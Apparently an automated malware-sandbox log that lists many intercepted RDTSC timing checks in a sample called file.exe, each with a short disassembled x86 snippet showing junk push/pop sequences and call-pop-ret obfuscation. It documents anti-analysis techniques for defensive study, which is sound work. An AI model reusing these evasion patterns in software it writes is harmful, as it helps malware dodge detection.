Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9832 second address: DF9841 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F91Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9A26 second address: DF9A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9AEB second address: DF9AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9DAE second address: DF9DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9DB2 second address: DF9DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9DBC second address: DF9DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9E47 second address: DF9E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9E50 second address: DF9E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9E54 second address: DF9E6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jno 00007F743477F916h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA449 second address: DFA44E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA44E second address: DFA454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA454 second address: DFA4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F743483E9F8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D33B2h], edi 0x0000002c mov si, C5B2h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 add si, F3EDh 0x00000038 pop esi 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b js 00007F743483E9FCh 0x00000041 jmp 00007F743483EA08h 0x00000046 popad 0x00000047 push eax 0x00000048 jns 00007F743483EA1Bh 0x0000004e push eax 0x0000004f push edx 0x00000050 jns 00007F743483E9F6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFAE9B second address: DFAEAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F91Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD4D0 second address: DFD4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD4D4 second address: DFD4D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD4D8 second address: DFD4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDCDD second address: DFDCE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E008F4 second address: E008FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E008FD second address: E00928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 mov si, 0093h 0x0000000b push 00000000h 0x0000000d mov edi, 318D9AA1h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+12454C0Ch], edi 0x0000001a push edi 0x0000001b mov si, 8D76h 0x0000001f pop edi 0x00000020 push eax 0x00000021 je 00007F743477F924h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05599 second address: E05615 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483E9FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F743483E9F8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 jp 00007F743483E9F8h 0x0000002c mov edi, ecx 0x0000002e push 00000000h 0x00000030 mov edi, 7B646C6Bh 0x00000035 push 00000000h 0x00000037 call 00007F743483EA06h 0x0000003c jmp 00007F743483EA06h 0x00000041 pop edi 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push ebx 0x00000046 jnc 00007F743483E9F6h 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0643D second address: E0644A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0644A second address: E0644E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0644E second address: E06452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E010F1 second address: E010F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0572E second address: E05734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06452 second address: E064D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F743483E9F8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D577Ch], edi 0x00000028 jmp 00007F743483EA09h 0x0000002d push 00000000h 0x0000002f mov ebx, dword ptr [ebp+122D363Bh] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F743483E9F8h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000016h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov ebx, edi 0x00000053 mov dword ptr [ebp+1246A48Fh], esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E010F5 second address: E01128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F743477F927h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F743477F922h 0x00000015 jmp 00007F743477F91Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05734 second address: E0573C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0962C second address: E0963A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F743477F916h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0963A second address: E0963E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06721 second address: E06727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0963E second address: E0969D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1C86h], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F743483E9F8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D38F3h] 0x00000032 push 00000000h 0x00000034 sbb edi, 5C059FB0h 0x0000003a xchg eax, esi 0x0000003b jmp 00007F743483EA05h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jns 00007F743483E9F8h 0x00000049 push edi 0x0000004a pop edi 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06727 second address: E0672B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0672B second address: E06739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A69D second address: E0A726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F743477F918h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D35FFh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F743477F918h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov bx, 4533h 0x0000004d add bx, 3EFEh 0x00000052 push 00000000h 0x00000054 mov bx, di 0x00000057 xchg eax, esi 0x00000058 jnc 00007F743477F92Bh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F743477F91Ah 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0980A second address: E09814 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A8AC second address: E0A8B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C67C second address: E0C680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D4F8 second address: E0D527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jnl 00007F743477F916h 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 je 00007F743477F920h 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D527 second address: E0D588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 add ebx, 4F11F461h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F743483E9F8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 add edi, dword ptr [ebp+122D38CFh] 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+12454C0Ch], ecx 0x00000036 js 00007F743483EA01h 0x0000003c jmp 00007F743483E9FBh 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F743483E9FDh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D588 second address: E0D592 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E555 second address: E0E575 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F743483EA06h 0x00000008 jmp 00007F743483EA00h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D753 second address: E0D757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E575 second address: E0E57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C812 second address: E0C897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 stc 0x00000008 push dword ptr fs:[00000000h] 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F743477F918h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 jnp 00007F743477F919h 0x00000036 mov eax, dword ptr [ebp+122D142Dh] 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007F743477F918h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 0000001Bh 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 push esi 0x00000057 jmp 00007F743477F922h 0x0000005c pop ebx 0x0000005d push FFFFFFFFh 0x0000005f push eax 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D757 second address: E0D75D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E57A second address: E0E592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F743477F924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C897 second address: E0C89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D75D second address: E0D762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E592 second address: E0E596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F5FA second address: E0F5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E80D second address: E0E82B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11861 second address: E1188B instructions: 0x00000000 rdtsc 0x00000002 js 00007F743477F92Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1188B second address: E118A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 stc 0x00000008 push 00000000h 0x0000000a or di, A296h 0x0000000f push 00000000h 0x00000011 mov ebx, dword ptr [ebp+122D364Fh] 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E118A9 second address: E118C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F91Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E118C3 second address: E118CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E118CC second address: E118D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12862 second address: E12866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12866 second address: E1286C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11A35 second address: E11A58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F743483EA09h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11A58 second address: E11A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11A5E second address: E11A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B54 second address: E12B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F743477F91Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B62 second address: E12B70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B70 second address: E12B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B76 second address: E12B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B030 second address: E1B03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B03D second address: E1B074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F743483EA06h 0x0000000e pushad 0x0000000f jmp 00007F743483EA06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B074 second address: E1B07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B198 second address: E1B1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F743483E9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B1A2 second address: E1B1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B2F2 second address: E1B2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F73A second address: E1F74C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F91Bh 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1FE0E second address: E1FE26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F743483EA04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25570 second address: E25594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F743477F916h 0x00000011 jmp 00007F743477F923h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25B63 second address: E25B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483E9FDh 0x00000007 jbe 00007F743483E9F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F743483E9FEh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25FA9 second address: E25FB0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E263F1 second address: E26407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F743483E9F6h 0x0000000a jnp 00007F743483E9F6h 0x00000010 popad 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB95C3 second address: DB95CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F743477F916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD306 second address: DFD30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD30A second address: DFD30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6112 second address: DB6116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6116 second address: DB6129 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F91Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6129 second address: DB612D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3314E second address: E33152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
